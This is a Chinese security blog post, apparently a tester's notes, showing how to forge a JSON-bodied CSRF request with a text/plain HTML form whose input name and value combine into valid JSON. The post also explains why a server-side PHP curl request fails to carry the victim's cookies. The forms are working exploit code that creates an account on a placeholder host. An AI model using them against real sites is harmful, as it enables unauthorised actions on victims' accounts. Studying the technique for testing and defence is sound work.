目录
0x01 写在前面
今天遇到的,查了很多资料,发现这种形式的基本上没看到,圈子里某个师傅发了一个国外的链接,
参考了一下,最后成功构造poc。
0x02 POC
form提交post数据很简单,如下:
<html>
<head>
<title>This i a CSRF test!</title>
</head>
<form action="http://xxx.com/db/adds" method="post" enctype="text/plain" >
<input name='{"attributes":{"name":"test3@test.com","userName":"test1","password":"e10adc3949ba59abbe56e057f20f883e","role":"user","status":"enabled", "phone":""}}'type='hidden'>
<input type=submit>
</form>
</html>
但是这种方式存在缺陷,如下图:
始终有个“=”摆脱不了,但是用下面这种方式成功摆脱:
<html>
<head>
<title>This i a CSRF test!</title>
</head>
<form action="http://xxx.com/db/adds" method="post" enctype="text/plain" >
<input name='{"attributes":{"name":"test3@test.com","userName":"test1","password":"e10adc3949ba59abbe56e057f20f883e","role":"user","status":"enabled", "phone":"' value='"}}'type='hidden'>
<input type=submit>
</form>
</html>
这里的技巧主要在于name和value的值共同构成了json格式的值,利用了双引号的闭合,学到了,以后有很多测试都可以用着这方式测试,所以记下来。
0x03 题外话
本来一开始利用form怎么都构造不成,后来放弃,然后使用php中的curl功能来写:
<?php
$data = array("attributes" =>
array("name"=> "test2@test.com",
"userName" => "测试2",
"password" => "e10adc3949ba59abbe56e057f20f883e",
"role" => "user",
"status" => "enabled",
"phone" => ""
));
$data_string = json_encode($data);
$ch = curl_init('http://xxx.com/db/adds');
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
curl_setopt($ch, CURLOPT_POSTFIELDS, $data_string);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Content-Type: application/json',
'Content-Length: ' . strlen($data_string))
);
$result = curl_exec($ch);
echo $data_string;
?>
抓包处理的时候发现依旧不行,并没有执行CSRF。(并不存在referer和token的前提)
具体原因现在依旧不清楚,于是求租,然后有大师傅解释:
你如果用PHP写CSRF的POC是会失败的。CSRF本质是浏览器发出请求后会自带cookie. PHP是后端语言,
也就是请求不是浏览器发出去的。而后端服务器无法获取当前用户的cookie,
所以发出的POST请求没有cookie,CSRF就成功不了
但是发现有过phpCSRF的案例:PHPCMS后台CSRF加管理两种方法POC
所以有些懵逼。
然后又询问了一下大师傅,终于明白。
我上面的Php代码,POST请求是由php发出的,php代码运行后,返回一个数据页面给浏览器,然后浏览器在呈现给用户,此时由于是后端语言php发出的请求,后端服务器没法获得当前用户的cookie,所以没办法csrf。
而p牛的那个例子,POST请求是由js发出
也就是浏览器发出,所以可以获得当前用户的cookie。
不得不说,小技巧里面的知识可不小~还需努力啊
暂时无法评论哦~
暂无评论